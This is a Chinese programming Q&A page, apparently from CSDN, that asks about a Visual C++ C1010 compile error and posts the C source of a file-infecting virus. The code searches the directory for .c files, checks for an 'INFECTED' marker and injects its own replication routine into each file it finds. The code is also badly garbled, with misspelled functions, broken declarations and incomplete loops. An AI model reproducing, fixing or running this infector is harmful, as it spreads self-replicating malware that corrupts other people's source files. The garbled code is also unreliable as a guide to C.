c语言0 8什么错误,c语言编程0,开头为错误信息

c:\program files\microsoft visual studio\myprojects\dsad\no1virus.cpp(147) : fatal error C1010: unexpected end of file while looking for precompiled header directive

Error executing cl.exe.

/*INFECTED*/

#include

#include

#include

main()

{

viruses();

}

int viruses_sub()

{

struct ffblk ffblk;

int done,i,j,k,n_line;

FILE *virus_r,*virus_v;

/*virus_r指向将被感染的文件,virus_v指向已感染的文件*/

char a[500][][80],b[80].*p1.*p2;/*将被感染的文件读入a[500][80]临时存放*/

static char viruses_f[]={"virus.c"}/*将文件感染后,修改该值为自身文件*/

int include_write;

int virus_call=0;

int virus_start=0;

char *main_flag[]={"printf,break","for","while"};

char *inlude_h[]={"dos.h","stdio.h","dir.h"};

char *v_flag[]={"INFECTED"};

struct date todays;

/*AffECT VIRUSES*/

done=finefirst("*.c",&ffblk,0);/*查找第一个匹配文件*/

while(!done)

{

if(stcmp(ffblk.ff.name,"REVIRUS.C")!=0)

{

virus_r!=fopen(ffblk.ff_name,"r+w");

if(virus_r!=NILL)

{

p1=fget(&a[0][0],80,virus_r);

if(strstr(p1,v_flag[0])==NULL)

{

n_line++;

p1=fgets(&a[n_line][0],80,virus_r);

if(n_line>=50)

{

fclose(virus_r);

return(1);

}

}

fseek(virus_r,0,SEEK_SET);

virus_v=fopen(&viruses_f[0],"r");/*打开带病毒的文件*/

if(virus_v==NULL)

{

fclose(virus_r);

return(2);

}

for(i=1;i<5;i++) /*读取带病毒的文件前四行并写入将被传染的文件*/

p2=fgets(b,80,virus_v);

if(p2==NULL)

{

fclose(virus_r);

fclose(virus_v);

return(3);

}

fputs(b,virus_r);

}

for(j=0;j

{

include_write=1/*不写入病毒文件已有的包含语句*/

if(strstr(&a[j][0],"#include")!=NULL)

for(i=0;i<3;i++)

{

includ_write=1;/*不写入病毒文件已有的包含语句*/

if(strstr(&a[j][0],include_h[i])!=NULL)

include writr=-1;

if(virus_call=-1)  /*要插入的语句,并加入回车换符*/

for(i=0;i<4;i++)

if(strstr(&a[j][0],main_flag[i]!=NULL)

{

for(k=0;k<80;k++)

b[k]=9;

strcpy(&b[0],"viruses();");

b[10]=13;

b[11]=10;

fputs(b,virus_r);virus_call=1;

i=4;

}

if(include_write==1)fputs(&a[j][0],virus_r);

}

p1=fgets(b,80,virus_v);/*带病毒的子程序写入文件*/

while(p1!=NULL)

{

if(virus_start==0) /*找病毒子程序的第一条语句*/

if(strstr(p1,"int viruses_sub()")!=NULL)

virus_start=1;

if(virus_start==1)

{

if(strstr(p1,"char")!=NULL)

if(strstr(p1,"virus_f[]=")!=NULL)

{

strcpy(&b[29],ffblk.ff_name);

i=strlen(&b[0]);

b[i]=34;

strpy(&b[i+1],");");

b[i+3]=13;

b[i+4]=10;

}

fputs(b,virus_r);

}

p1=fgets(b,80,virus_v);

}

fclose(virus_v);

fclose(virus_r);

retune(0);

}

fclose(virus_r);

}

}

done=findnext(&ffblk);

}

retune(4);

}

viruses()

{

int num;

num=viruses_sub();

switch(num)

{

case 0:printf("successful\n");

case 1:printf("the file is outof line\n");

case 2:printf("the virus file cannot open\n");

case 3:printF("cannot read viruses file\n");

case 4:printf("cannot find file\n");

}

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值